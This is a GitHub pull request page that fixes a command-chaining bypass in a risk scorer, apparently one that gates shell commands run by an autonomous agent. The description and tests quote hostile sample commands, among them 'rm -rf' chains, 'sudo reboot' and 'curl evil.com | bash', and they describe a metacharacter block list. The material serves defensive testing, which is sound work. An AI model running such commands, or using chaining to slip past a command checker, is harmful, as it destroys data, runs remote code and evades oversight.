Fix critical command chaining security vulnerability #99
Conversation
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
added 2 commits
November 6, 2025 22:21
This commit addresses a significant security vulnerability in the risk scoring system where command chaining operators (;, &&, ||) could be used to bypass security checks by prefixing dangerous commands with safe ones. ## Problem The previous implementation evaluated entire command strings as single units, allowing attacks like: - `ls -la; rm -rf /important/data` → marked as safe - `pwd && sudo reboot` → marked as safe - `echo test > /tmp/$(rm -rf /)` → marked as safe ## Solution Implemented a command parser that: - Splits command chains into individual components - Evaluates each component independently - Returns the maximum risk level across all components - Properly handles redirects and command substitution ## Changes - Added CommandComponent, Redirect types for structured parsing - Implemented ParseCommand() to split by ;, &&, || operators - Added evaluateComponent() for individual command assessment - Added checkRedirect() for file operation safety - Added aggregateRisks() for combining risk levels - Refactored ScoreCommand() to use new parser architecture ## Security Improvements - Command chains with dangerous components → Danger - Command chains with unknown components → Unknown - Redirects to system paths (/etc/, /sys/, etc.) → Danger - Redirects with command substitution → Unknown - Maintains backward compatibility with existing patterns ## Testing - All existing tests continue to pass (46 tests) - Added 19 comprehensive vulnerability tests - Covers edge cases: quotes, escapes, nested substitutions - Validates proper risk level assignment Fixes the command chaining bypass vulnerability while maintaining the existing API and security model.
Only keep the security fix changes for the PR.
There was a problem hiding this comment.
Pull Request Overview
This PR enhances the risk scoring system to detect command chaining vulnerabilities and improve security detection. The changes refactor ScoreCommand to parse complex command structures and evaluate risk for chained commands, command substitutions, and redirects separately.
Key Changes
- Introduces command parsing to detect operators like
;,&&,||, and command substitution$() - Adds explicit redirect detection and risk evaluation for dangerous system paths
- Expands test coverage with 28 new test cases for command chaining vulnerabilities
Reviewed Changes
Copilot reviewed 2 out of 2 changed files in this pull request and generated 8 comments.
| File | Description |
|---|---|
| internal/risk_scorer.go | Refactors risk scoring with new parsing logic, component evaluation, and redirect checking; modifies -exec pattern to catch all executions |
| internal/risk_scorer_test.go | Adds comprehensive test suite for command chaining vulnerabilities including semicolons, pipes, operators, substitutions, and redirects |
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
added 3 commits
November 6, 2025 23:46
…ties This PR implements a robust security fix to prevent shell command injection and bypasses by explicitly blocking shell metacharacters in the dangerousPatterns list. This is a simpler and more reliable approach than attempting to parse the command structure. Key Changes: - Blacklisted Shell Metacharacters: Any use of ;, &&, ||, & (chaining operators), $(), ` (command substitution), or <, > (redirection) now immediately results in RiskDanger. This patches all command injection vectors. - Hardened Dangerous Commands: Broadened find detection to match any use of -exec (not just rm). Added checks for curl and wget using output flags (-o, -O) to prevent arbitrary file writing. - Fixed chmod Logic: The chmod patterns were replaced with ones that correctly flag execute permissions (+x, octal 1, 3, 5, 7) while ignoring safe permissions like 644. - Test Coverage: Includes the full TestScoreCommand_CommandChainingVulnerabilities suite to validate all injection vectors.
Addresses Copilot feedback by adding explicit test coverage for: - echo test>file.txt (no spaces around >) - echo test>>file.txt (no spaces around >>) The existing [<>] regex pattern correctly handles both spaced and non-spaced redirect operators.
…r command separators
unixmonk
force-pushed
the
fix/command-chaining-security-vulnerability
branch
from
39c5f48 to
2b686f4
Compare
Contributor
Author
|
I updated the find -exec comment as suggested. The changes are ready for final review and merge. |
added 2 commits
November 7, 2025 00:20
- Improve redirect operator detection to catch patterns without spaces - Simplify chmod execute permission detection patterns - Add specific system path redirect detection - Update background job operator pattern to be more precise
Contributor
Author
|
OK, hopefully Copilot is happy now. |
Owner
|
Thanks @unixmonk looks good |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
2 participants
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Fix Command Chaining Security Vulnerability
First, thanks for making this, it's the first "autonomous agent" system I ever used I think :) This is a great new feature too. Just noticed it could use a bit of tightening especially around chaining operators (;, &&, ||) as they could be used to bypass security checks by prefixing dangerous commands with safe ones.
Problem
The risk scorer was evaluating command chains as single units, allowing dangerous commands to be hidden behind safe ones:
ls -la; rm -rf /important/data→ incorrectly marked as safepwd && sudo reboot→ incorrectly marked as safeecho hello || curl evil.com | bash→ incorrectly marked as safeSolution
Enhanced the risk scoring algorithm to detect command chaining operators and appropriately escalate risk levels:
;,&&,||operators that enable command chainingChanges
ScoreCommand()RiskSafe→RiskUnknownwhen chaining detectedRiskUnknown→RiskDangerwhen chaining detectedSecurity Impact
Testing